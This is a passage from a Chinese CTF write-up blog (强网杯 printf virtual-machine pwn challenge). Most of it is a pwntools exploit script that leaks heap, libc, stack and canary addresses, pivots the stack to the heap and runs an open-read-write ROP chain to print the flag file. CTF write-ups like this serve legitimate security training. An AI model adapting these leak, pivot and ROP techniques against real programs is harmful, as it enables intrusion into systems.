   sl('%d' % (size / 4))
   sd(content)

def fun4_xor(xor_key,size,content):
   sl('4')
   sl(str(xor_key))
   sl('%d' % (size // 4))
   for i in range(size//4+1):
      sl(str(ord(content[i])))

def fun5_or(or_key,size,content):
   sl('5')
   sl(str(or_key))
   sl('%d' % (size / 4))
   sd(content)

def fun6_or(or_key,size,data):
   sl('6')
   sl(str(or_key))
   sl('%d' % (size // 4))
   for i in range(size//4+1):
      sl(data)


def push(x):
   if x < 0:
      x = x + 0x100000000
   return b'%U'.ljust(8,b'\x00') + p32(x)

def load():
   return b'%#V'.ljust(8,b'\x00') + p32(0)
def store():
   return b'%#X'.ljust(8,b'\x00') + p32(0)

def printf_pop():
   return b'%y'.ljust(8,b'\x00') + p32(0)

def call(x):
   if x < 0:
      x = x + 0x100000000
   return b'%g'.ljust(8,b'\x00') + p32(x)

def jmp(x):
   if x < 0:
      x = x + 0x100000000
   return b'%N'.ljust(8,b'\x00') + p32(x)

def input_sp():
   return b'%a'.ljust(8,b'\x00') + p32(0)

def read_mem():
   return b'%c'.ljust(8,b'\x00') + p32(0)

def print_mem():
   return b'%b'.ljust(8,b'\x00') + p32(0)

def ret():
   return b'%n'.ljust(8,b'\x00') + p32(0)

def push_r(idx):
   return b'%k'.ljust(8,b'\x00') + p32(idx)

def pop_r(idx):
   return b'%Y'.ljust(8,b'\x00') + p32(idx)

def pop():
   return b'%f'.ljust(8,b'\x00') + p32(0)


fun6_or(0xfe,0xfc,'-1')

#构造codes
codes=b'a'*8
#分两次泄露heap
codes+=input_sp()+load()+printf_pop()+input_sp()+load()+printf_pop()
#泄露libc,stack,canary   直接使用未注册的%p去打印出地址
codes+=b'%p%p%p%p%p%p'+b'%p%p%p%p%p%p'
#将orw代码以及第二段的codes先读入到heap上面
codes+=push(0xfc)+read_mem()
#修改栈上面的内容,准备栈迁移到堆上面
#分两步将栈地址给vmcodes->reg,分两步赋值
#先赋低位
codes+=input_sp()+input_sp()+store()
#赋高位
codes+=input_sp()+input_sp()+store()
#准备修改rbp
codes+=input_sp()+pop_r(0)
codes+=input_sp()
#由于代码长度太长,需要跳转执行
codes+=jmp(-2180)

#设计
codes = codes.ljust(0xfc,b'a')
payload = b''
for x in codes:
   payload += p8(x ^ 0x68)
#铺设shellcode,同时篡改返回地址为50
fun3_xor(0x68,0xfc,payload)

sl(str(-2171))
sleep(0.05)
sl('-1003')
sl('-1004')

#得到heap
ru("aaaaaaaa%a\n")
hb1=int(rc(5))*0x100000000
ru("\n")
hb2=int(rl()[:-1])& 0xFFFFFFFF
hb=hb1+hb2-0x8d20

#得到stack,canary与libc
ru("(nil)(nil)(nil)0x")
ca=int(rc(16),16)
ru("0x7825000000000x520x")
stack=int(rc(12),16)
ru("(nil)(nil)0x")
lb=int(rc(12),16)-(0x73f03)
print("heap_base=",hex(hb))
print("canary=",hex(ca))
print("stack=",hex(stack))
print("libc_base=",hex(lb))
sleep(0.05)
#铺设代码
rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f497
rax=lb+0x0000000000045eb0
flag_addr=hb+0x2718
syscall=lb+0x0000000000114990
read = lb + libc.sym['read']
write = lb + libc.sym['write']
open=lb+libc.sym['open']

lr=lb+0x00000000000562ec


orw=p64(hb+0x2680)+p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(flag_addr)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read)
orw+=p64(rdi)+p64(1)+p64(write)+b'./flag\x00\x00'
#修改rbp高位
codes2=pop_r(1)
#修改返回地址为lr
codes2+=input_sp()+pop_r(6)
#修改pc大小
codes2+=input_sp()+input_sp()+store()

payload=orw+codes2
#将orw代码先读入到heap上面
sl(payload)
#分两步将栈地址给vmcodes->reg,分两步赋值
#先赋低位
# gdbbug()
stack=stack-0x9b0
stack1=stack>>32
stack2=stack-(stack1<<32)
sl(str(stack2))
sl('-1004')
#赋高位
sl(str(stack1))
sl('-1003')

#修改栈上内容
#修改rbp
hbrop=hb+0x2680
pd1=hbrop>>32
pd2=hbrop-(pd1<<32)
sl(str(pd2))
sl(str(pd1))
#修改返回地址为leave_ret
pd3=lr>>32
pd4=lr-(pd3<<32)
sl(str(pd4))

#修改pc大小,准备跳出去
sl('-3840')
sl('-1006')


ita(

成功截图:

文章作者: A1b2rt
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 pwn手的成长之旅
逻辑载入型 vm printf虚拟机 pwn 逻辑载入型 强网杯
喜欢就支持一下吧
打赏
微信 微信